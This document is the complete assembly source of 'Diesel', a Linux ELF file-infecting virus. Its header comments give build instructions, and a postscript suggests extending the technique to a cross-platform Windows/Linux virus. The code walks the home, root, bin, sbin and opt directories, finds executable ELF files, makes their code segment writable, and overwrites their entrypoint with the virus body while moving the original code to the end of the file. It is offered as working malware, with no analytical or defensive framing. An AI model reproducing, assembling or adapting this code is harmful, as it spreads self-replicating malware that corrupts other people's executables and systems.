| |
Diesel原代码
;---------------------------------------------------------------------------;
; ;
; D I E S E L ;
; ;
; Diesel is a non-resident virus targeted at ELF executables under
;
; Linux. When executed, it will restore the host, fork, and then
begin ;
; to scan recursively for files to infect in several directories.
;
; This virus is partly based on the Staog virus by Quantum / VLAD.
;
; However, contrary to Staog, Diesel can be runned under all
versions ;
; of the Linux kernel. Note that it won't attempt to infect the /usr
;
; directory, although it contains many executable files to infect.
;
; This comes from the fact that, if given root access, infecting ;
; /usr will simply make Linux crash - even the login. This problem
;
; will be fixed later. If you want to see how Diesel works, enter
: ;
; strace diesel &> infect.log (better run it in user mode). ;
; Diesel has been fully tested under Suse Linux 6.3 as root. It
does ;
; not cause any segmentation fault, and the system behaves as
usual. ;
; ;
; How to make the virus : TASM DIESEL ;
; TLINK /3 /t DIESEL,DIESEL. ;
; ;
; Comments can be sent to paddingx@mail.dotcom.fr ;
; ;
;---------------------------------------------------------------------------;
.386
LARGESTACK
RADIX 16
ASSUME CS:CODE,DS:CODE
CODE SEGMENT
@ equ + ebx - offset VStart
;---------------------------------------------------------------------------;
ELF:
db 07F, 'ELF', 1, 1, 1, 9 dup (0)
dw 02, 03, 01, 00
dd offset Virus + MemBase
dd offset Program_Header
dd 00, 00
dw 34, 20, 01
dw 00, 00, 00
Program_Header:
dd 01 ; Loadable Segment
dd 00 ; Physical Offset
dd MemBase ; Image Base
dd MemBase ; Same (Unused)
dd VSize + ELF_Size ; Physical Size
dd VSize + ELF_Size ; Memory Size
dd 07 ; Exec / Read / Write
dd 1000h ; Alignment
;---------------------------------------------------------------------------;
VStart:
Variables = ebp + 14
Argv0 = ebp + 0C
HostRet = ebp + 04
HostName = ebp - 80
push 0 ; Room for Entrypoint
push ebp
mov ebp,esp
sub esp,80
pushad
call GetVStart
mov [HostRet],ebx
mov esi,ebx
mov edi,esp
sub edi,0800 ; Should be enough
mov ecx,VSize
repz movsb
sub edi,offset VEnd - VStackCopy
jmp edi
VStackCopy:
mov ebx,[Argv0]
mov ecx,00
mov eax,05
int 80 ; Try to Open Host
or eax,eax ; Search Host In PATH
jns short HostOpenOk ; If Unsuccessful
; Env. variables arer located at the bottom of the stack, just
below
; the kernel code (at 0xC0000000)
mov esi,esp
GetPath:
lodsd ; Try to locate PATH
sub esi,3
cmp eax,'HTAP'
jnz short GetPath
cmp byte ptr [esi - 02],00
jnz short GetPath
lodsd
NextPathDir:
lea edi,[HostName]
GetDir:
cmp byte ptr [esi],0
jz Bye
movsb
cmp byte ptr [esi],':'
jnz short GetDir
inc esi
mov al,'/'
stosb
mov ecx,[Argv0] ; Don't modify esi - so use ecx
GetHostName:
mov al,[ecx]
inc ecx
stosb
cmp byte ptr [ecx - 1],0
jnz short GetHostName
lea ebx,[HostName]
mov ecx,00
mov eax,05
int 80
or eax,eax
js short NextPathDir
HostOpenOk:
mov ebx,eax ; Seek to Host Code
mov ecx,-VSize ; From end
mov edx,02
mov eax,13
int 80
mov ecx,[HostRet] ; Restore Host Code
mov edx,VSize
mov eax,03 ; read
int 80
or eax,eax
js short Bye
mov eax,06 ; close
int 80
mov eax,02 ; fork
int 80
or eax,eax
jz short Virus
;--------------------------- <<< Host Process >>>
--------------------------;
Host:
popad
add esp,80
pop ebp
ret ; Get Back to Entrypoint
;--------------------------- <<< Viral Process >>>
-------------------------;
Virus:
call GetVStart
add ebx,offset Root - VStart
mov eax,0C
int 80 ; chdir to /
add ebx,2
DirLoop:
push ebx
call DirSearch
cmp byte ptr [ebx],00
jnz short NextDir
Bye:
mov ebx,-1
mov eax,01
int 80
NextDir:
inc ebx
cmp byte ptr [ebx - 1],00
jz short DirLoop
jmp short NextDir
;--------------------- <<< Directory Search Routine >>>
--------------------;
DirSearch:
DirName = ebp + 08
DirHandle = ebp - 04
DirBuf = ebp - 8E ; 128 bytes for file name
StatBuf = ebp - 0CE ; 64 bytes for file stats
push ebp
mov ebp,esp
sub esp,0CE
push ebx
mov ebx,[DirName]
mov ecx,00
mov eax,05
int 80 ; open DirName
or eax,eax
js DirExit
mov [DirHandle],eax
mov eax,0C ; chdir to DirName
int 80
or eax,eax
js DirClose
FindFile:
mov ebx,[DirHandle]
lea ecx,[DirBuf]
mov eax,59
int 80
or eax,eax
jng DirBack
lea ebx,[DirBuf + 0A]
cmp word ptr [ebx],002E ; . ?
jz short FindFile
cmp word ptr [ebx],2E2E ; .. ?
jz short FindFile
mov eax,[ebx]
and eax,00FFFFFF
cmp eax,00007370
jz short FindFile ; Don't infect ps
lea ecx,[StatBuf]
mov eax,6A
int 80 ; stat
mov eax,[ecx + 08]
test eax,4000 ; test if directory
jz short ExecTest
mov edx,80 ; make sure it's not a link
mov eax,85d ; readlink
int 80
or eax,eax
jns short FindFile
push ebx
call DirSearch
jmp short FindFile
ExecTest:
test eax,01 ; others exec permission
jnz short SizeTest
test eax,08 ; group exec permission
jnz short SizeTest
test eax,40 ; owner exec permission
jz short FindFile
SizeTest:
mov eax,[ecx + 14]
cmp eax,1000
jc FindFile ; Minimal File Size
and eax,111111b
cmp eax,010101b
jz FindFile ; Self-Infection Test
push dword ptr [ecx + 14]
push ebx
call Infect
jmp FindFile
DirBack:
lea ebx,[ebp - 8]
mov dword ptr [ebx],00002E2E ; cd ..
mov eax,0C
int 80
DirClose:
mov ebx,[DirHandle]
mov eax,06
int 80
DirExit:
pop ebx
add esp,0CE
pop ebp
ret 04
;------------------------ <<< Infection Routine >>>
------------------------;
Infect:
FileSize = ebp + 0C
FileName = ebp + 08
FileHandle = ebp - 04
FileBuf = ebp - 404 ; 1024 bytes for Read/Write Buffer
; ! Must be <= VSize
push ebp
mov ebp,esp
sub esp,404
mov ebx,[FileName]
mov ecx,02
mov eax,05
int 80 ; Open file
or eax,eax
js InfExit
mov [FileHandle],eax
mov ebx,eax
lea ecx,[FileBuf]
mov edx,100 ; Read File Header
mov eax,03
int 80
or eax,eax
js InfClose
mov edi,ecx
cmp dword ptr [edi],464C457F ; Check if ELF
jnz InfClose
cmp dword ptr [edi + 10],00030002 ; Executable i386
jnz InfClose
mov esi,[edi + 1C]
cmp esi,34 ; Offset to Program Header
jnz InfClose
add esi,ecx
xor ecx,ecx
mov cx,[edi + 2C] ; Number of Entries
mov edi,[edi + 18] ; Entrypoint
FindCodeSection:
cmp byte ptr [esi],01 ; Loadable Segment ?
jnz short NextOne
cmp dword ptr [esi + 4],0 ; Offset = File Start ?
jnz short NextOne
cmp byte ptr [esi + 18],05 ; Exec / Read ?
jnz short NextOne
cmp dword ptr [esi + 1C],1000 ; Aligned on 1000h ?
jz short Found
NextOne:
add esi,20
loop FindCodeSection
jmp InfClose
Found:
mov eax,[esi + 10] ; Section Physical Size
sub eax,edi ; - (Entrypoint
add eax,[esi + 08] ; - Virtual Address)
; = Room Available
cmp eax,VSize
jc InfClose
sub edi,[esi + 08] ; Store EP Offset in EDI
mov byte ptr [esi + 18],07 ; Make Code Section
; Writeable
xor ecx,ecx
xor edx,edx
mov eax,13
int 80
lea ecx,[FileBuf]
mov edx,100
mov eax,04
int 80 ; Write Header
mov ecx,edi
mov edx,00
mov eax,13
int 80 ; Seek to Entrypoint Offset
lea ecx,[FileBuf]
mov edx,VSize
mov eax,03
int 80 ; Read Host Code
mov ecx,edi
mov edx,00
mov eax,13
int 80 ; Seek to Entrypoint Offset
call Epsilon
Epsilon: pop ecx
sub ecx,offset Epsilon - VStart
mov edx,VSize
mov eax,04
int 80 ; Write Virus
mov ecx,VSize
add ecx,[FileSize]
neg ecx
add ecx,010101b
and ecx,111111b
add ecx,[FileSize]
xor edx,edx
mov eax,13 ; Seek to End of File
int 80 ; + Self-Infection Test
lea ecx,[FileBuf]
mov edx,VSize
mov eax,04
int 80 ; Write Host Code
InfClose:
mov ebx,[FileHandle]
mov eax,06
int 80
InfExit:
add esp,404
pop ebp
ret 08
;-------------------- <<< Dynamic Relocation Routine >>>
-------------------;
GetVStart:
call Gamma
Gamma: pop ebx
sub ebx,offset Gamma - VStart
ret
;------------------------- <<< Initialized Data >>>
------------------------;
Root db '/',0
Dirs:
db 'home',0
db 'root',0
db 'sbin',0
db 'bin',0
db 'opt',0
db 0
Sign db 0A,0A,' [ Diesel : Oil, Heavy Petroleum Fraction '
db 'Used In Diesel Engines ] ',0A,0A,0
VEnd:
;---------------------------------------------------------------------------;
ELF_Size equ 54
VSize equ offset VEnd - VStart
MemBase equ 08048000
;---------------------------------------------------------------------------;
CODE ENDS
END ELF
;--------------------------------- < P.S.>
---------------------------------;
; ;
; You see, int 80 is a VERY powerful tool under Linux. In fact,
any ;
; 32-bit process is able to use it - even Win32 programs which run
;
; under Wine. So it wouldn't be too much difficult to write a
cross- ;
; platform virus, which would run under both Windows and Linux. ;
; ;
;---------------------------------------------------------------------------;
|
|
|
|
